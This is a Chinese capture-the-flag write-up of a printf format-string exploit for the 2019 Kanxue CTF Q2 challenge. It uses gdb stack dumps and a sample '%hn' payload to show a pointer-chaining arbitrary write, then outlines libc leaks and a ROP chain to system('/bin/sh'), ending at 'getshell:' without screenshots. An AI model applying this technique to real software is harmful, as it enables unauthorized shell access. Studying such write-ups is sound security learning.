2019看雪CTF-Q2-金字塔的诅咒

2019看雪CTF-Q2-金字塔的诅咒

printf格式化字符串漏洞。
输入的内容在bss段,不在栈上,所以无法用常规的字符串格式化漏洞的方法进行利用。
需要在栈上找两个指向栈的指针,一个控制高2字节,一个控制低2字节。
我选了p1,p2,通过修改p1,p2的值,可以在dest位置写入任意地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0000| 0xbffffb6c --> 0x80000956 (<main+208>:	add    esp,0x10)
0004| 0xbffffb70 --> 0x8000200c ("12345678")
0008| 0xbffffb74 --> 0x18
0012| 0xbffffb78 --> 0x4
0016| 0xbffffb7c --> 0x800008f3 (<main+109>: sub esp,0x4)
0020| 0xbffffb80 --> 0x1
0024| 0xbffffb84 --> 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format") <- p1
0028| 0xbffffb88 --> 0xbfff0a31 --> 0x0
0032| 0xbffffb8c --> 0xfa483d00
0036| 0xbffffb90 --> 0xbffffbb0 --> 0x1
0040| 0xbffffb94 --> 0xb7fc0000 --> 0x1aada8
0044| 0xbffffb98 --> 0x0
0048| 0xbffffb9c --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0052| 0xbffffba0 --> 0x80000990 (<__libc_csu_init>: push ebp)
0056| 0xbffffba4 --> 0x0
0060| 0xbffffba8 --> 0x0
0064| 0xbffffbac --> 0xb7e2eaf3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0068| 0xbffffbb0 --> 0x1
0072| 0xbffffbb4 --> 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format")
0076| 0xbffffbb8 --> 0xbffffc4c --> 0xbffffd8c ("USER=zhighest") <- dest
0080| 0xbffffbbc --> 0xb7feccca (<call_init+26>: add ebx,0x12336)
0084| 0xbffffbc0 --> 0x1
0088| 0xbffffbc4 --> 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format")
0092| 0xbffffbc8 --> 0xbffffc4c --> 0xbffffd8c ("USER=zhighest")
....
0212| 0xbffffc40 --> 0x1
0216| 0xbffffc44 --> 0xbffffd74 ("/home/zhighest/k/format") <- p2
0220| 0xbffffc48 --> 0x0

任意地址写测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0000| 0xbf80d02c --> 0x80001956 (<main+208>:	add    esp,0x10)
0004| 0xbf80d030 --> 0x8000300c ("%22136c%18$hn")
0008| 0xbf80d034 --> 0x18
0012| 0xbf80d038 --> 0x4
0016| 0xbf80d03c --> 0x800018f3 (<main+109>: sub esp,0x4)
0020| 0xbf80d040 --> 0x1
0024| 0xbf80d044 --> 0xbf80d104 --> 0xbf80d07a --> 0xcca1234 <-p1, 控制p2的后低字节
0028| 0xbf80d048 --> 0xbf800a31 --> 0x0
0032| 0xbf80d04c --> 0xf4468100
0036| 0xbf80d050 --> 0xbf80d070 --> 0x1
0040| 0xbf80d054 --> 0xb76f4000 --> 0x1aada8
0044| 0xbf80d058 --> 0x0
0048| 0xbf80d05c --> 0xb7562af3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0052| 0xbf80d060 --> 0x80001990 (<__libc_csu_init>: push ebp)
0056| 0xbf80d064 --> 0x0
0060| 0xbf80d068 --> 0x0
0064| 0xbf80d06c --> 0xb7562af3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0068| 0xbf80d070 --> 0x1
0072| 0xbf80d074 --> 0xbf80d104 --> 0xbf80d07a --> 0xcca1234
0076| 0xbf80d078 --> 0x12345678 <- dest
0080| 0xbf80d07c --> 0xb7720cca (<call_init+26>: add ebx,0x12336)
0084| 0xbf80d080 --> 0x1
0088| 0xbf80d084 --> 0xbf80d104 --> 0xbf80d07a --> 0xcca1234
0092| 0xbf80d088 --> 0xbf80d10c --> 0xbf80edba ("LESS=-R")
...
0212| 0xbf80d100 --> 0x1
0216| 0xbf80d104 --> 0xbf80d07a --> 0xcca1234 <-p2, 在dest写入任意内容,每次写2字节
0220| 0xbf80d108 --> 0x0
0224| 0xbf80d10c --> 0xbf80edba ("LESS=-R")
0228| 0xbf80d110 --> 0xbf80edc2 ("LC_CTYPE=zh_CN.UTF-8")
0232| 0xbf80d114 --> 0xbf80edd7 ("SSH_CLIENT=192.168.111.2 55749 22")
0236| 0xbf80d118 --> 0xbf80edf9 ("LOGNAME=zhighest")

最终在dest处写入了0x12345678,接下来就可以往内存地址为0x12345678的地方写入任意数据了。
libc基址及程序基址可以通过栈上的数据计算得到。
最终在栈上构造调用system(‘/bin/sh’)的栈,再覆盖printf函数的返回地址,跳转到ROP链,ROP链再调到构造的栈,就能拿到SHELL了。
构造后的栈截图:

getshell: